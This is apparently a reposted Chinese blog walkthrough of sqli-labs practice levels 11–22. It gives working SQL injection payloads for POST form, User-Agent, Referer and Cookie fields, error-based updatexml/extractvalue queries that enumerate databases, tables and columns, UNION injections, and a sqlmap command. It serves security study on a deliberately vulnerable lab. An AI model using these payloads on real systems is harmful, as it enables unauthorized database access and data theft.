sql注入专辑-5-sqli-lab靶场11-22

sqli-lab 11-22

  • 实验12
  • 实验14
  • 实验15
  • 实验16
  • 实验17

实验11
输入一个单引号报错,双引号不报错
sql注入专辑-5-sqli-lab靶场11-22_第1张图片
sql注入专辑-5-sqli-lab靶场11-22_第2张图片

输入sql判断语句:
admin’ and 1=1#
在这里插入图片描述
sql注入专辑-5-sqli-lab靶场11-22_第3张图片
sql注入专辑-5-sqli-lab靶场11-22_第4张图片

sqlmap一刀干翻
sql注入专辑-5-sqli-lab靶场11-22_第5张图片

sqlmap -r 11.txt
sqlmap在密码不对,账户不对的的情况下,也可以跑出,可以多加几个注入点,也可以一个不加
如果不打注入点,会跑的超级慢,超级慢
账号和密码不对也可以引发注入

sql注入语句分析,
?id=1’ and 1=1–+
?id=1’ and 1=2–+
如果是1=2.后面条件不成立,id=1也不能执行,他将会执行id=-1的错误页面,或者是超出id范围的那个页面,如果是1=1条件成立,则前后两个都对,才执行

解释一下单引号的问题
加上的单引号,语句就提前闭合,但是不加注释,后面还有一个真正的引号在起作用
之前的语句:select username where ?id=’ ‘;
加上id=1’,语句就变成了这样:select username where ?id=’ 1’ ';
所以这就是为什么加上id=1’会这样,必须加上注释符,才会正确,把后面的东西注释掉,这也是为什么用and判断的原因,and语句的判断根据前面id的正确和错误返回的页面,很重要,只有前后正确
才会得到判断

or 语句的判断,这样比较精准,前后都错误,返回一个id值不存在的页面,不能说是报错页面,是id值不存在的页面,这就取决于搜索框必须有这个变量。

/?id=-1’ or 1=2–+
select username where ?id=’ 1’ --+ ';
sql注入专辑-5-sqli-lab靶场11-22_第6张图片

实验12

输入双引号报错
在这里插入图片描述
sql注入专辑-5-sqli-lab靶场11-22_第7张图片

admin") and 1=1#
sql注入专辑-5-sqli-lab靶场11-22_第8张图片
sql注入专辑-5-sqli-lab靶场11-22_第9张图片

实验13
单引号报错
admin’) and 1=1#
sql注入专辑-5-sqli-lab靶场11-22_第10张图片
sql注入专辑-5-sqli-lab靶场11-22_第11张图片

实验14

双引号报错
admin" and 1=1#
sql注入专辑-5-sqli-lab靶场11-22_第12张图片

成功
sql注入专辑-5-sqli-lab靶场11-22_第13张图片

实验15

单引号双引号都不会报错
有延迟,证明前面admin ’ 是正确的
sql注入专辑-5-sqli-lab靶场11-22_第14张图片

继续探测
admin’ and 1=1#
在这里插入图片描述
sql注入专辑-5-sqli-lab靶场11-22_第15张图片

实验16

通过分析打印的代码,有双引号和括号闭合
admin") and 1=1#
在这里插入图片描述
sql注入专辑-5-sqli-lab靶场11-22_第16张图片

错误的演示(一个括号,一个双引号)
sql注入专辑-5-sqli-lab靶场11-22_第17张图片

实验17

实验原理:
1 分析源代码
username中的vlaue ,限制输入字符15
passwd没有做check
用户名输入正确的admin,后面的password代码才会执行,完成更新
判断语句源于uname,where语句在uname这一块,
在passwd做不显示,做sleep,包直接就没了,直接pass

2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来

3 sqlmap自己找,给他注入点加个标记,需要加什么标记??????

输入admin后自动更新了密码
sql注入专辑-5-sqli-lab靶场11-22_第18张图片

但是用户名不是admin就报错
sql注入专辑-5-sqli-lab靶场11-22_第19张图片

输入传统的sql注入,被强制加了,魔术引号绕过极其麻烦
sql注入专辑-5-sqli-lab靶场11-22_第20张图片

修改文件
sql注入专辑-5-sqli-lab靶场11-22_第21张图片
sql注入专辑-5-sqli-lab靶场11-22_第22张图片

2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库名字(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来

数据库中符号"."代表下一级,如dvwa.user表示dvwa数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名

(1)选择在passwd下功夫,第一步最简单的爆mysql的版本
’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
sql注入专辑-5-sqli-lab靶场11-22_第23张图片

(2)爆数据库名称
’ and updatexml(1,concat(0x7e,database(),0x7e),1)–+
sql注入专辑-5-sqli-lab靶场11-22_第24张图片

(3)爆数据库,select的内容记得加括号
’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)–+
sql注入专辑-5-sqli-lab靶场11-22_第25张图片

(4)爆表
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x7e),1)–+

在这里插入图片描述
sql注入专辑-5-sqli-lab靶场11-22_第26张图片

(5)爆列名(users这个表)
在这里插入图片描述

’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)–+

sql注入专辑-5-sqli-lab靶场11-22_第27张图片
体内容
待考究

实验18
代码分析:
1 把user-agent数据插入了数据库,通过报错语句查询数据库名称,
无论对错,都记录

uname和password,单引号 做了转义,只要了20个字符
拿到探测点也没用,输多了就全没了,全取消了

正确的用户名和密码是:admin 12345
只有密码正确,才会触发第二条语句
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
sql注入专辑-5-sqli-lab靶场11-22_第28张图片

sql注入专辑-5-sqli-lab靶场11-22_第29张图片

实验19
refer 也得成功登录
admin 12345
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
sql注入专辑-5-sqli-lab靶场11-22_第30张图片
sql注入专辑-5-sqli-lab靶场11-22_第31张图片

实验20
cookie
isset 函数
如果不存在cookie,会显示一张错误的图,显示另一套代码,20.jpg
sql注入专辑-5-sqli-lab靶场11-22_第32张图片

检测是否存在标签,登录不获取cookie,
还有个开关
admin 12345
admin’ order by 3–+
sql注入专辑-5-sqli-lab靶场11-22_第33张图片
sql注入专辑-5-sqli-lab靶场11-22_第34张图片

输入第四个就会报错
sql注入专辑-5-sqli-lab靶场11-22_第35张图片
sql注入专辑-5-sqli-lab靶场11-22_第36张图片

但是做不出效果来
继续深挖,成功,但是不知道为什么uname=111?????????
这是一个post包
输入语句:Cookie: uname=111’ union select ‘qq’,database(),version()#
不知道为什么是111
开关
&submit=Submit
sql注入专辑-5-sqli-lab靶场11-22_第37张图片

有三个位置,分别查询了版本,和数据库的名称
sql注入专辑-5-sqli-lab靶场11-22_第38张图片

实验21
cookie中做了base64的加密
cookie:uname= admin
做一个base64加密,把
admin’) and 1=1#
替换在uname
post包

Cookie: uname= 12345’) union select ‘qq’,database(),version()#
sql注入专辑-5-sqli-lab靶场11-22_第39张图片

三个可以插入的位置,cookie中的用户名只要不是admin,都可以爆库
sql注入专辑-5-sqli-lab靶场11-22_第40张图片

admin的结果
sql注入专辑-5-sqli-lab靶场11-22_第41张图片

如果有开关,只会显示一张图
sql注入专辑-5-sqli-lab靶场11-22_第42张图片
sql注入专辑-5-sqli-lab靶场11-22_第43张图片

实验22
在21的基础上,双引号
admin" and 1=1#
提示utf-8,编码
sql注入专辑-5-sqli-lab靶场11-22_第44张图片

Cookie: uname= 111" union select ‘qq’,database(),version()#
sql注入专辑-5-sqli-lab靶场11-22_第45张图片

尝试使用get包,报错

你可能感兴趣的:(sql注入专辑-5-sqli-lab靶场11-22)